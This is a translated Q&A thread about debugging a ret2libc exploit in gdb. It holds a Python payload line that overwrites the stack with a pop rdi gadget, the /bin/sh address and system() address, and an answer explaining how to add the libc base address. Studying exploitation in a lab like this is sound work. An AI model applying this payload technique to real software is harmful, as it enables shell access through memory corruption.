【问题标题】:gdb reads wrong input(stdin) valuesgdb 读取错误的输入(stdin)值
【发布时间】:2020-10-25 00:53:24
【问题描述】:

我在 gdb 中为 ret2libc 输入以下内容。

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')

当我检查内存时,它在0x267de 之后显示了错误的值

(gdb) x/4g $rbp
0x7fffffffe190: 0x4242424242424242      0x00000000000267de
0x7fffffffe1a0: 0x007fff370cf7b1ac      0x007ffff7e408a000

所有地址都正确,最后程序以段错误结束。

AAAAAAAAAABBBBBBBB�g


Program received signal SIGSEGV, Segmentation fault.
0x00000000000267de in ?? ()

选择的小工具是pop rdi;ret,它位于0x267de/bin/sh 位于0x7ffff7f7b1acsystem() 位于0x7ffff7e408a0,gets() 用于输入长度为 10 字节的缓冲区,并且没有其他变量存在于源代码中。

为什么会显示错误的值?

【问题讨论】:

  • 我就是完全不懂这个问题。
  • 作为输入的值和 /bin/sh 和 system() 的值在堆栈中不同。为什么会这样?
  • Python 和 C 没有义务按照您认为应该排列的方式排列堆栈中的内容。这些是实现细节。
  • 黑帽网站可能会更好地帮助您解决此问题。
  • 0x267de 可能是感兴趣的指令与目标文件中段开头的偏移量,但在重定位后,它们将位于进程中更高的地址。尝试在 gdb 中运行 disassemble 命令以查看其中的内容。它可能是 64 位系统上的未映射内存。我认为可执行段从 0x40000 开始。

标签: python c input gdb exploit


【解决方案1】:

正如@Mark Plotnick 所说,0x267de 是小工具pop rdi; ret 的偏移量。所以为了找到gadget的正确地址,偏移量必须加上基地址。我使用radare2找到加载libc路径作为二进制路径的小工具。这意味着 libc 的基地址是小工具的基地址。为了找到 libc 的基地址,我在 gdb 中使用了info proc map。还有其他方法可以找到 libc 的基地址。并且当使用此地址时,地址显示问题已解决

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2023-03-18
    • 2013-11-30
    • 2012-08-27
    • 2017-02-10
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多